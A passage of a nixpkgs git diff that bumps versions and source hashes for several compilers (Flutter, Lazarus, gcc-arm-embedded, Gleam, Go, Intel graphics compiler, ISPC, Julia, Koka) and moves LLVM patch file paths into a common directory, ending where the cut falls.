"3119600043214157fb54f4ef05717a82a7858f35625fe767799c60f3039361c8", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.3.2" + }, + "native_stack_traces": { + "dependency": "direct main", + "description": { + "name": "native_stack_traces", + "sha256": "c797830b9910d13b0f4e70ddef15cde034214fe3bdb8092c4ea5ffad2f74013f", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.5.6" + }, + "node_preamble": { + "dependency": "direct dev", + "description": { + "name": "node_preamble", + "sha256": "6e7eac89047ab8a8d26cf16127b5ed26de65209847630400f9aefd7cd5c730db", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.0.2" + }, + "package_config": { + "dependency": "direct main", + "description": { + "name": "package_config", + "sha256": "1c5b77ccc91e4823a5af61ee74e6b972db1ef98c2ff5a18d3161c982a55448bd", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.1.0" + }, + "path": { + "dependency": "direct main", + "description": { + "name": "path", + "sha256": "087ce49c3f0dc39180befefc60fdb4acd8f8620e5682fe2476afd0b3688bb4af", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.9.0" + }, + "petitparser": { + "dependency": "direct main", + "description": { + "name": "petitparser", + "sha256": "c15605cd28af66339f8eb6fbe0e541bfe2d1b72d5825efc6598f3e0a31b9ad27", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "6.0.2" + }, + "platform": { + "dependency": "direct main", + "description": { + "name": "platform", + "sha256": "12220bb4b65720483f8fa9450b4332347737cf8213dd2840d8b2c823e47243ec", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.1.4" + }, + "pool": { + "dependency": "direct main", + "description": { + "name": "pool", + "sha256": "20fe868b6314b322ea036ba325e6fc0711a22948856475e2c2b6306e8ab39c2a", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.5.1" + }, + "process": { + "dependency": "direct main", + "description": { + "name": "process", + "sha256": "21e54fd2faf1b5bdd5102afd25012184a6793927648ea81eea80552ac9405b32", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "5.0.2" + }, + "pub_semver": { + "dependency": "direct main", + "description": { + "name": "pub_semver", + "sha256": "40d3ab1bbd474c4c2328c91e3a7df8c6dd629b79ece4c4bd04bee496a224fb0c", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.1.4" + }, + "pubspec_parse": { + "dependency": "direct dev", + "description": { + "name": "pubspec_parse", + "sha256": "c63b2876e58e194e4b0828fcb080ad0e06d051cb607a6be51a9e084f47cb9367", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.2.3" + }, + "shelf": { + "dependency": "direct main", + "description": { + "name": "shelf", + "sha256": "ad29c505aee705f41a4d8963641f91ac4cee3c8fad5947e033390a7bd8180fa4", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.4.1" + }, + "shelf_packages_handler": { + "dependency": "direct main", + "description": { + "name": "shelf_packages_handler", + "sha256": "89f967eca29607c933ba9571d838be31d67f53f6e4ee15147d5dc2934fee1b1e", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.0.2" + }, + "shelf_proxy": { + "dependency": "direct main", + "description": { + "name": "shelf_proxy", + "sha256": "a71d2307f4393211930c590c3d2c00630f6c5a7a77edc1ef6436dfd85a6a7ee3", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.0.4" + }, + "shelf_static": { + "dependency": "direct main", + "description": { + "name": "shelf_static", + "sha256": "a41d3f53c4adf0f57480578c1d61d90342cd617de7fc8077b1304643c2d85c1e", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.1.2" + }, + "shelf_web_socket": { + "dependency": "direct main", + "description": { + "name": "shelf_web_socket", + "sha256": "9ca081be41c60190ebcb4766b2486a7d50261db7bd0f5d9615f2d653637a84c1", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.0.4" + }, + "source_map_stack_trace": { + "dependency": "direct main", + "description": { + "name": "source_map_stack_trace", + "sha256": "84cf769ad83aa6bb61e0aa5a18e53aea683395f196a6f39c4c881fb90ed4f7ae", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.1.1" + }, + "source_maps": { + "dependency": "direct main", + "description": { + "name": "source_maps", + "sha256": "708b3f6b97248e5781f493b765c3337db11c5d2c81c3094f10904bfa8004c703", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.10.12" + }, + "source_span": { + "dependency": "direct main", + "description": { + "name": "source_span", + "sha256": "53e943d4206a5e30df338fd4c6e7a077e02254531b138a15aec3bd143c1a8b3c", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.10.0" + }, + "sse": { + "dependency": "direct main", + "description": { + "name": "sse", + "sha256": "8168874cdbd42c36ea118ba9f88a656ad97f604f28c976c61cb6d5b281c5319c", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "4.1.4" + }, + "stack_trace": { + "dependency": "direct main", + "description": { + "name": "stack_trace", + "sha256": "73713990125a6d93122541237550ee3352a2d84baad52d375a4cad2eb9b7ce0b", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.11.1" + }, + "standard_message_codec": { + "dependency": "direct main", + "description": { + "name": "standard_message_codec", + "sha256": "fc7dd712d191b7e33196a0ecf354c4573492bb95995e7166cb6f73b047f9cae0", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.0.1+4" + }, + "stream_channel": { + "dependency": "direct main", + "description": { + "name": "stream_channel", + "sha256": "ba2aa5d8cc609d96bbb2899c28934f9e1af5cddbd60a827822ea467161eb54e7", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.1.2" + }, + "string_scanner": { + "dependency": "direct main", + "description": { + "name": "string_scanner", + "sha256": "556692adab6cfa87322a115640c11f13cb77b3f076ddcc5d6ae3c20242bedcde", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.2.0" + }, + "sync_http": { + "dependency": "direct main", + "description": { + "name": "sync_http", + "sha256": "7f0cd72eca000d2e026bcd6f990b81d0ca06022ef4e32fb257b30d3d1014a961", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.3.1" + }, + "term_glyph": { + "dependency": "direct main", + "description": { + "name": "term_glyph", + "sha256": "a29248a84fbb7c79282b40b8c72a1209db169a2e0542bce341da992fe1bc7e84", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.2.1" + }, + "test": { + "dependency": "direct dev", + "description": { + "name": "test", + "sha256": "a1f7595805820fcc05e5c52e3a231aedd0b72972cb333e8c738a8b1239448b6f", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.24.9" + }, + "test_api": { + "dependency": "direct main", + "description": { + "name": "test_api", + "sha256": "5c2f730018264d276c20e4f1503fd1308dfbbae39ec8ee63c5236311ac06954b", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.6.1" + }, + "test_core": { + "dependency": "direct main", + "description": { + "name": "test_core", + "sha256": "a757b14fc47507060a162cc2530d9a4a2f92f5100a952c7443b5cad5ef5b106a", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.5.9" + }, + "typed_data": { + "dependency": "direct main", + "description": { + "name": "typed_data", + "sha256": "facc8d6582f16042dd49f2463ff1bd6e2c9ef9f3d5da3d9b087e244a7b564b3c", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.3.2" + }, + "unified_analytics": { + "dependency": "direct main", + "description": { + "name": "unified_analytics", + "sha256": "fbcb0ad896a15c1ddea7ec45e8bfc92a894490e5792e07b74b2e6e992f4c77f8", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "5.8.0" + }, + "usage": { + "dependency": "direct main", + "description": { + "name": "usage", + "sha256": "0bdbde65a6e710343d02a56552eeaefd20b735e04bfb6b3ee025b6b22e8d0e15", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "4.1.1" + }, + "uuid": { + "dependency": "direct main", + "description": { + "name": "uuid", + "sha256": "648e103079f7c64a36dc7d39369cabb358d377078a051d6ae2ad3aa539519313", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.0.7" + }, + "vm_service": { + "dependency": "direct main", + "description": { + "name": "vm_service", + "sha256": "b3d56ff4341b8f182b96aceb2fa20e3dcb336b9f867bc0eafc0de10f1048e957", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "13.0.0" + }, + "vm_service_interface": { + "dependency": "direct main", + "description": { + "name": "vm_service_interface", + "sha256": "a1897b14842d58ca75de00ccaec6d0bdc9806b4c3560d781ef61dc6851a66f76", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.0.0" + }, + "vm_snapshot_analysis": { + "dependency": "direct main", + "description": { + "name": "vm_snapshot_analysis", + "sha256": "5a79b9fbb6be2555090f55b03b23907e75d44c3fd7bdd88da09848aa5a1914c8", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.7.6" + }, + "watcher": { + "dependency": "direct main", + "description": { + "name": "watcher", + "sha256": "3d2ad6751b3c16cf07c7fca317a1413b3f26530319181b37e3b9039b84fc01d8", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.1.0" + }, + "web": { + "dependency": "direct main", + "description": { + "name": "web", + "sha256": "edc8a9573dd8c5a83a183dae1af2b6fd4131377404706ca4e5420474784906fa", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.4.0" + }, + "web_socket_channel": { + "dependency": "direct main", + "description": { + "name": "web_socket_channel", + "sha256": "045ec2137c27bf1a32e6ffa0e734d532a6677bf9016a0d1a406c54e499ff945b", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.4.1" + }, + "webdriver": { + "dependency": "direct main", + "description": { + "name": "webdriver", + "sha256": "003d7da9519e1e5f329422b36c4dcdf18d7d2978d1ba099ea4e45ba490ed845e", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.0.3" + }, + "webkit_inspection_protocol": { + "dependency": "direct main", + "description": { + "name": "webkit_inspection_protocol", + "sha256": "87d3f2333bb240704cd3f1c6b5b7acd8a10e7f0bc28c28dcf14e782014f4a572", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "1.2.1" + }, + "xml": { + "dependency": "direct main", + "description": { + "name": "xml", + "sha256": "b015a8ad1c488f66851d762d3090a21c600e479dc75e68328c52774040cf9226", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "6.5.0" + }, + "yaml": { + "dependency": "direct main", + "description": { + "name": "yaml", + "sha256": "75769501ea3489fca56601ff33454fe45507ea3bfb014161abc3b43ae25989d5", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "3.1.2" + }, + "yaml_edit": { + "dependency": "direct main", + "description": { + "name": "yaml_edit", + "sha256": "1579d4a0340a83cf9e4d580ea51a16329c916973bffd5bd4b45e911b25d46bfd", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "2.1.1" + } + }, + "sdks": { + "dart": ">=3.3.0-91.0.dev <4.0.0" + } + } +} diff --git a/pkgs/development/compilers/flutter/versions/3_19/patches/disable-auto-update-shared.patch b/pkgs/development/compilers/flutter/versions/3_19/patches/disable-auto-update-shared.patch new file mode 100644 index 0000000000000..961b41f7327c9 --- /dev/null +++ b/pkgs/development/compilers/flutter/versions/3_19/patches/disable-auto-update-shared.patch @@ -0,0 +1,13 @@ +diff --git a/bin/internal/shared.sh b/bin/internal/shared.sh +index 75d9d3013e..657ad3cb78 100644 +--- a/bin/internal/shared.sh ++++ b/bin/internal/shared.sh +@@ -245,7 +245,7 @@ function shared::execute() { + # and will corrupt each others' downloads. + # + # SHARED_NAME itself is prepared by the caller script. +- upgrade_flutter 7< "$SHARED_NAME" ++ # upgrade_flutter 7< "$SHARED_NAME" + + BIN_NAME="$(basename "$PROG_NAME")" + case "$BIN_NAME" in diff --git a/pkgs/development/compilers/fpc/lazarus.nix b/pkgs/development/compilers/fpc/lazarus.nix index 54b81b80e994c..ba2eeada5e466 100644 --- a/pkgs/development/compilers/fpc/lazarus.nix +++ b/pkgs/development/compilers/fpc/lazarus.nix @@ -9,12 +9,12 @@ # 1. the build date is embedded in the binary through `$I %DATE%` - we should dump that let - version = "2.2.2-0"; + version = "3.2-0"; # as of 2.0.10 a suffix is being added. That may or may not disappear and then # come back, so just leave this here. majorMinorPatch = v: - builtins.concatStringsSep "." (lib.take 3 (lib.splitVersion v)); + builtins.concatStringsSep "." (lib.take 2 (lib.splitVersion v)); overrides = writeText "revision.inc" (lib.concatStringsSep "\n" (lib.mapAttrsToList (k: v: "const ${k} = '${v}';") { @@ -30,7 +30,7 @@ stdenv.mkDerivation rec { src = fetchurl { url = "mirror://sourceforge/lazarus/Lazarus%20Zip%20_%20GZip/Lazarus%20${majorMinorPatch version}/lazarus-${version}.tar.gz"; - sha256 = "a9832004cffec8aca69de87290441d54772bf95d5d04372249d5a5491fb674c4"; + sha256 = "69f43f0a10b9e09deea5f35094c73b84464b82d3f40d8a2fcfcb5a5ab03c6edf"; }; postPatch = '' @@ -87,7 +87,7 @@ stdenv.mkDerivation rec { preBuild = '' mkdir -p $out/share "$out/lazarus" tar xf ${fpc.src} --strip-components=1 -C $out/share -m - substituteInPlace ide/include/unix/lazbaseconf.inc \ + substituteInPlace ide/packages/ideconfig/include/unix/lazbaseconf.inc \ --replace '/usr/fpcsrc' "$out/share/fpcsrc" ''; diff --git a/pkgs/development/compilers/gcc-arm-embedded/11/default.nix b/pkgs/development/compilers/gcc-arm-embedded/11/default.nix index ad132f5bbf6cf..4ed1ac9b99b01 100644 --- a/pkgs/development/compilers/gcc-arm-embedded/11/default.nix +++ b/pkgs/development/compilers/gcc-arm-embedded/11/default.nix @@ -2,7 +2,7 @@ , stdenv , fetchurl , ncurses5 -, python38 +, python39 , libxcrypt-legacy , runtimeShell }: @@ -40,7 +40,7 @@ stdenv.mkDerivation rec { find $out -type f | while read f; do patchelf "$f" > /dev/null 2>&1 || continue patchelf --set-interpreter $(cat ${stdenv.cc}/nix-support/dynamic-linker) "$f" || true - patchelf --set-rpath ${lib.makeLibraryPath [ "$out" stdenv.cc.cc ncurses5 python38 libxcrypt-legacy ]} "$f" || true + patchelf --set-rpath ${lib.makeLibraryPath [ "$out" stdenv.cc.cc ncurses5 python39 libxcrypt-legacy ]} "$f" || true done ''; @@ -48,8 +48,8 @@ stdenv.mkDerivation rec { mv $out/bin/arm-none-eabi-gdb $out/bin/arm-none-eabi-gdb-unwrapped cat <<EOF > $out/bin/arm-none-eabi-gdb #!${runtimeShell} - export PYTHONPATH=${python38}/lib/python3.8 - export PYTHONHOME=${python38}/bin/python3.8 + export PYTHONPATH=${python39}/lib/python3.9 + export PYTHONHOME=${python39.interpreter} exec $out/bin/arm-none-eabi-gdb-unwrapped "\$@" EOF chmod +x $out/bin/arm-none-eabi-gdb diff --git a/pkgs/development/compilers/gcc-arm-embedded/12/default.nix b/pkgs/development/compilers/gcc-arm-embedded/12/default.nix index 8f18579f93f63..0407cfa71e09c 100644 --- a/pkgs/development/compilers/gcc-arm-embedded/12/default.nix +++ b/pkgs/development/compilers/gcc-arm-embedded/12/default.nix @@ -2,7 +2,7 @@ , stdenv , fetchurl , ncurses5 -, python38 +, python39 , libxcrypt-legacy , runtimeShell }: @@ -42,7 +42,7 @@ stdenv.mkDerivation rec { find $out -type f | while read f; do patchelf "$f" > /dev/null 2>&1 || continue patchelf --set-interpreter $(cat ${stdenv.cc}/nix-support/dynamic-linker) "$f" || true - patchelf --set-rpath ${lib.makeLibraryPath [ "$out" stdenv.cc.cc ncurses5 python38 libxcrypt-legacy ]} "$f" || true + patchelf --set-rpath ${lib.makeLibraryPath [ "$out" stdenv.cc.cc ncurses5 python39 libxcrypt-legacy ]} "$f" || true done ''; @@ -50,8 +50,8 @@ stdenv.mkDerivation rec { mv $out/bin/arm-none-eabi-gdb $out/bin/arm-none-eabi-gdb-unwrapped cat <<EOF > $out/bin/arm-none-eabi-gdb #!${runtimeShell} - export PYTHONPATH=${python38}/lib/python3.8 - export PYTHONHOME=${python38}/bin/python3.8 + export PYTHONPATH=${python39}/lib/python3.9 + export PYTHONHOME=${python39.interpreter} exec $out/bin/arm-none-eabi-gdb-unwrapped "\$@" EOF chmod +x $out/bin/arm-none-eabi-gdb diff --git a/pkgs/development/compilers/gcc-arm-embedded/13/default.nix b/pkgs/development/compilers/gcc-arm-embedded/13/default.nix index 14d7d215a00d3..a16348dad02c7 100644 --- a/pkgs/development/compilers/gcc-arm-embedded/13/default.nix +++ b/pkgs/development/compilers/gcc-arm-embedded/13/default.nix @@ -2,7 +2,7 @@ , stdenv , fetchurl , ncurses5 -, python38 +, python39 , libxcrypt-legacy , runtimeShell }: @@ -42,7 +42,7 @@ stdenv.mkDerivation rec { find $out -type f | while read f; do patchelf "$f" > /dev/null 2>&1 || continue patchelf --set-interpreter $(cat ${stdenv.cc}/nix-support/dynamic-linker) "$f" || true - patchelf --set-rpath ${lib.makeLibraryPath [ "$out" stdenv.cc.cc ncurses5 python38 libxcrypt-legacy ]} "$f" || true + patchelf --set-rpath ${lib.makeLibraryPath [ "$out" stdenv.cc.cc ncurses5 python39 libxcrypt-legacy ]} "$f" || true done ''; @@ -50,8 +50,8 @@ stdenv.mkDerivation rec { mv $out/bin/arm-none-eabi-gdb $out/bin/arm-none-eabi-gdb-unwrapped cat <<EOF > $out/bin/arm-none-eabi-gdb #!${runtimeShell} - export PYTHONPATH=${python38}/lib/python3.8 - export PYTHONHOME=${python38}/bin/python3.8 + export PYTHONPATH=${python39}/lib/python3.9 + export PYTHONHOME=${python39.interpreter} exec $out/bin/arm-none-eabi-gdb-unwrapped "\$@" EOF chmod +x $out/bin/arm-none-eabi-gdb diff --git a/pkgs/development/compilers/gleam/default.nix b/pkgs/development/compilers/gleam/default.nix index 8571950fef3a5..d21c4d48f33f1 100644 --- a/pkgs/development/compilers/gleam/default.nix +++ b/pkgs/development/compilers/gleam/default.nix @@ -12,13 +12,13 @@ rustPlatform.buildRustPackage rec { pname = "gleam"; - version = "0.34.0"; + version = "1.0.0"; src = fetchFromGitHub { owner = "gleam-lang"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-cqJNNSN3x2tr6/i7kXAlvIaU9SfyPWBE4c6twc/p1lY="; + hash = "sha256-gPlRihwK+J7s1SeymfVdVo/KIV+eEqxlLVOgsDWW9yo"; }; nativeBuildInputs = [ git pkg-config ]; @@ -26,7 +26,7 @@ rustPlatform.buildRustPackage rec { buildInputs = [ openssl ] ++ lib.optionals stdenv.isDarwin [ Security SystemConfiguration ]; - cargoHash = "sha256-mCMfVYbpUik8oc7TLLAXPBmBUchy+quAZLmd9pqCZ7Y="; + cargoHash = "sha256-ouu4Y1085dGSM7kGIWE+hBde6ZUOA1fO0AcHYXPOWzo="; passthru.updateScript = nix-update-script { }; diff --git a/pkgs/development/compilers/go/1.21.nix b/pkgs/development/compilers/go/1.21.nix index 06391b1740a6e..1debcd433b9b3 100644 --- a/pkgs/development/compilers/go/1.21.nix +++ b/pkgs/development/compilers/go/1.21.nix @@ -46,11 +46,11 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "go"; - version = "1.21.6"; + version = "1.21.7"; src = fetchurl { url = "https://go.dev/dl/go${finalAttrs.version}.src.tar.gz"; - hash = "sha256-Ekkmpi5F942qu67bnAEdl2MxhqM8I4/8HiUyDAIEYkg="; + hash = "sha256-ABl6sg8zgTgyv/Yv2TzKHEKgjMaJoypmcspJWRlZv/Y="; }; strictDeps = true; diff --git a/pkgs/development/compilers/go/1.22.nix b/pkgs/development/compilers/go/1.22.nix index d5fc4ae0bdd72..ddab1d422b2c6 100644 --- a/pkgs/development/compilers/go/1.22.nix +++ b/pkgs/development/compilers/go/1.22.nix @@ -46,11 +46,11 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "go"; - version = "1.22.0"; + version = "1.22.1"; src = fetchurl { url = "https://go.dev/dl/go${finalAttrs.version}.src.tar.gz"; - hash = "sha256-TRlsPUGg1sHfxk0E48wfYIsMQ2vYe3Bgzj4jI04fTVw="; + hash = "sha256-ecm5HX8QlRWiX8Ps2q0SXWfmvbVPbU2YWA9GeZyuoyE="; }; strictDeps = true; diff --git a/pkgs/development/compilers/intel-graphics-compiler/default.nix b/pkgs/development/compilers/intel-graphics-compiler/default.nix index 54a8e82e27ee1..599fe53a74a68 100644 --- a/pkgs/development/compilers/intel-graphics-compiler/default.nix +++ b/pkgs/development/compilers/intel-graphics-compiler/default.nix @@ -20,8 +20,8 @@ let vc_intrinsics_src = fetchFromGitHub { owner = "intel"; repo = "vc-intrinsics"; - rev = "v0.14.0"; - hash = "sha256-t7m2y+DiZf0xum1vneXvoCyH767SKMOq4YzMIuZngR8="; + rev = "v0.16.0"; + hash = "sha256-d197m80vSICdv4VKnyqdy3flzbKLKmB8jroY2difA7o="; }; inherit (llvmPackages_14) lld llvm; @@ -31,13 +31,13 @@ in stdenv.mkDerivation rec { pname = "intel-graphics-compiler"; - version = "1.0.15610.11"; + version = "1.0.15985.7"; src = fetchFromGitHub { owner = "intel"; repo = "intel-graphics-compiler"; rev = "igc-${version}"; - hash = "sha256-Fu1g5M2lpcnLw6aSHI5gx47VOfx+rIdIhBlwe/Dv8bk="; + hash = "sha256-NXShD6M5OeKi0+Jszvoos+wjHZ9lWh/LIUFLFq8dzFM="; }; nativeBuildInputs = [ bison cmake flex (python3.withPackages (ps : with ps; [ mako ])) ]; @@ -79,8 +79,9 @@ stdenv.mkDerivation rec { }; meta = with lib; { - homepage = "https://github.com/intel/intel-graphics-compiler"; description = "LLVM-based compiler for OpenCL targeting Intel Gen graphics hardware"; + homepage = "https://github.com/intel/intel-graphics-compiler"; + changelog = "https://github.com/intel/intel-graphics-compiler/releases/tag/${src.rev}"; license = licenses.mit; platforms = platforms.linux; maintainers = with maintainers; [ SuperSandro2000 ]; diff --git a/pkgs/development/compilers/ispc/default.nix b/pkgs/development/compilers/ispc/default.nix index d8b8c141042bf..0c710b0736a3c 100644 --- a/pkgs/development/compilers/ispc/default.nix +++ b/pkgs/development/compilers/ispc/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "ispc"; - version = "1.22.0"; + version = "1.23.0"; src = fetchFromGitHub { owner = pname; repo = pname; rev = "v${version}"; - sha256 = "sha256-NiBwQ7BzNgRdWLvjOi1fQni+vnYwn0nLHxqAVucmb2k="; + sha256 = "sha256-zixPt7YICCG0N8t1pcXEu/sPKCVLQVPCiJsQEqEXl+A="; }; nativeBuildInputs = [ cmake which m4 bison flex python3 llvmPackages.libllvm.dev tbb ] ++ lib.lists.optionals stdenv.isDarwin [ xcode ]; @@ -55,7 +55,6 @@ stdenv.mkDerivation rec { "-DFILE_CHECK_EXECUTABLE=${llvmPackages.llvm}/bin/FileCheck" "-DLLVM_AS_EXECUTABLE=${llvmPackages.llvm}/bin/llvm-as" "-DLLVM_CONFIG_EXECUTABLE=${llvmPackages.llvm.dev}/bin/llvm-config" - "-DLLVM_DIS_EXECUTABLE=${llvmPackages.llvm}/bin/llvm-dis" "-DCLANG_EXECUTABLE=${llvmPackages.clang}/bin/clang" "-DCLANGPP_EXECUTABLE=${llvmPackages.clang}/bin/clang++" "-DISPC_INCLUDE_EXAMPLES=OFF" diff --git a/pkgs/development/compilers/julia/default.nix b/pkgs/development/compilers/julia/default.nix index b094759387fd8..b1437804287c1 100644 --- a/pkgs/development/compilers/julia/default.nix +++ b/pkgs/development/compilers/julia/default.nix @@ -30,12 +30,12 @@ in { }); julia_110-bin = wrapJulia (callPackage (import ./generic-bin.nix { - version = "1.10.0"; + version = "1.10.2"; sha256 = { - x86_64-linux = "a7298207f72f2b27b2ab1ce392a6ea37afbd1fbee0f1f8d190b054dcaba878fe"; - aarch64-linux = "048d96b4398efd524e94be3f49e8829cf6b30c8f3f4b46c75751a4679635e45b"; - x86_64-darwin = "eb1cdf2d373ee40412e8f5ee6b4681916f1ead6d794883903619c7bf147d4f46"; - aarch64-darwin = "dc4ca01b1294c02d47b33ef26d489dc288ac68655a03774870c6872b82a9a7d6"; + x86_64-linux = "51bccc9bb245197f24e6b2394e6aa69c0dc1e41b4e300b796e17da34ef64db1e"; + aarch64-linux = "f319ff2812bece0918cb9ea6e0df54cc9412fc5ef8c0589b6a4fea485c07535d"; + x86_64-darwin = "52679b9285b9aa8354afade8cc5a6c98d30af31ee72e4e879d17cef5dd4d4213"; + aarch64-darwin = "c7392237725b54d2d145bf56ce362e502596ea4338523a91bf20ce02379cea80"; }; }) { }); @@ -50,8 +50,8 @@ in { }); julia_110 = wrapJulia (callPackage (import ./generic.nix { - version = "1.10.0"; - hash = "sha256-pfjAzgjPEyvdkZygtbOytmyJ4OX35/sqgf+n8iXj20w="; + version = "1.10.2"; + hash = "sha256-YkaHIK+8QQ608mLtJDOpITJieHLJ9pC3BNwEXMsVVAE="; patches = [ ./patches/1.10/0001-skip-building-docs-as-it-requires-network-access.patch ./patches/1.10/0002-skip-failing-and-flaky-tests.patch diff --git a/pkgs/development/compilers/koka/default.nix b/pkgs/development/compilers/koka/default.nix index e3462c826c767..4057ec157ebaa 100644 --- a/pkgs/development/compilers/koka/default.nix +++ b/pkgs/development/compilers/koka/default.nix @@ -31,12 +31,12 @@ }: let - version = "3.0.4"; + version = "3.1.0"; src = fetchFromGitHub { owner = "koka-lang"; repo = "koka"; rev = "v${version}"; - sha256 = "sha256-U8BW1Aq9t3je0YDV8NkE0MzdnjwXBJQbmekh5ufOs3k="; + sha256 = "sha256-Twm2Hr8BQ0xTdA30e2Az/57525jTUkmv2Zs/+SNiQns="; fetchSubmodules = true; }; kklib = stdenv.mkDerivation { diff --git a/pkgs/development/compilers/llvm/11/clang/default.nix b/pkgs/development/compilers/llvm/11/clang/default.nix index 5ddecd1f47e90..a31d0422f52b3 100644 --- a/pkgs/development/compilers/llvm/11/clang/default.nix +++ b/pkgs/development/compilers/llvm/11/clang/default.nix @@ -50,7 +50,7 @@ let # https://reviews.llvm.org/D51899 ./gnu-install-dirs.patch (substituteAll { - src = ../../clang-11-15-LLVMgold-path.patch; + src = ../../common/clang/clang-11-15-LLVMgold-path.patch; libllvmLibdir = "${libllvm.lib}/lib"; }) ]; diff --git a/pkgs/development/compilers/llvm/11/libcxx/default.nix b/pkgs/development/compilers/llvm/11/libcxx/default.nix index 3e77e03b124b7..10b8c00dd16a8 100644 --- a/pkgs/development/compilers/llvm/11/libcxx/default.nix +++ b/pkgs/development/compilers/llvm/11/libcxx/default.nix @@ -30,7 +30,7 @@ stdenv.mkDerivation { }) ./gnu-install-dirs.patch ] ++ lib.optionals stdenv.hostPlatform.isMusl [ - ../../libcxx-0001-musl-hacks.patch + ../../common/libcxx/libcxx-0001-musl-hacks.patch ]; # Prevent errors like "error: 'foo' is unavailable: introduced in macOS yy.zz" diff --git a/pkgs/development/compilers/llvm/11/libcxxabi/default.nix b/pkgs/development/compilers/llvm/11/libcxxabi/default.nix index 8a0a18f678226..6c8487a2eb991 100644 --- a/pkgs/development/compilers/llvm/11/libcxxabi/default.nix +++ b/pkgs/development/compilers/llvm/11/libcxxabi/default.nix @@ -20,7 +20,7 @@ stdenv.mkDerivation { '' + lib.optionalString stdenv.isDarwin '' export TRIPLE=x86_64-apple-darwin '' + lib.optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -d libcxx -i ${../../libcxx-0001-musl-hacks.patch} + patch -p1 -d libcxx -i ${../../common/libcxx/libcxx-0001-musl-hacks.patch} '' + lib.optionalString stdenv.hostPlatform.isWasm '' patch -p1 -d llvm -i ${../../common/libcxxabi/wasm.patch} ''; diff --git a/pkgs/development/compilers/llvm/11/llvm/default.nix b/pkgs/development/compilers/llvm/11/llvm/default.nix index 423b08396666b..e71d63859a06d 100644 --- a/pkgs/development/compilers/llvm/11/llvm/default.nix +++ b/pkgs/development/compilers/llvm/11/llvm/default.nix @@ -86,7 +86,7 @@ in stdenv.mkDerivation (rec { # of the flags used for the normal LLVM build. To avoid the need for building # a native libLLVM.so (which would fail) we force llvm-config to be linked # statically against the necessary LLVM components always. - ../../llvm-config-link-static.patch + ../../common/llvm/llvm-config-link-static.patch ./gnu-install-dirs.patch # On older CPUs (e.g. Hydra/wendy) we'd be getting an error in this test. @@ -149,7 +149,7 @@ in stdenv.mkDerivation (rec { --replace "Path.cpp" "" rm unittests/Support/Path.cpp '' + optionalString stdenv.hostPlatform.isMusl '' - patch -p1 -i ${../../TLI-musl.patch} + patch -p1 -i ${../../common/llvm/TLI-musl.patch} substituteInPlace unittests/Support/CMakeLists.txt \ --replace "add_subdirectory(DynamicLibrary)" "" rm unittests/Support/DynamicLibrary/DynamicLibraryTest.cpp diff --git a/pkgs/development/compilers/llvm/12/clang/default.nix b/pkgs/development/compilers/llvm/12/clang/default.nix index 28f976a26bdb3..c482a8ee6875a 100644 --- a/pkgs/development/compilers/llvm/12/clang/default.nix +++ b/pkgs/development/compilers/llvm/12/clang/default.nix @@ -47,7 +47,7 @@ let # https://reviews.llvm.org/D51899 ./gnu-install-dirs.patch (substituteAll { - src = ../../clang-11-15-LLVMgold-path.patch; + src = ../../common/clang/clang-11-15-LLVMgold-path.patch; libllvmLibdir = "${libllvm.lib}/lib"; }) ]; diff --git a/pkgs/development/compilers/llvm/12/libcxx/default.nix b/pkgs/development/compilers/llvm/12/libcxx/default.nix index 40bff3c1168b7..67e2aed35cb66 100644 --- a/pkgs/development/compilers/llvm/12/libcxx/default.nix +++ b/pkgs/development/compilers/llvm/12/libcxx/default.nix @@ -24,7 +24,7 @@ stdenv.mkDerivation { patches = [ ./gnu-install-dirs.patch ] ++ lib.optionals stdenv.hostPlatform.isMusl [ - ../../libcxx-0001-musl-hacks.patch + ../../common/libcxx/libcxx-0001-musl-hacks.patch ]; preConfigure = lib.optionalString stdenv.hostPlatform.isMusl '' diff --git 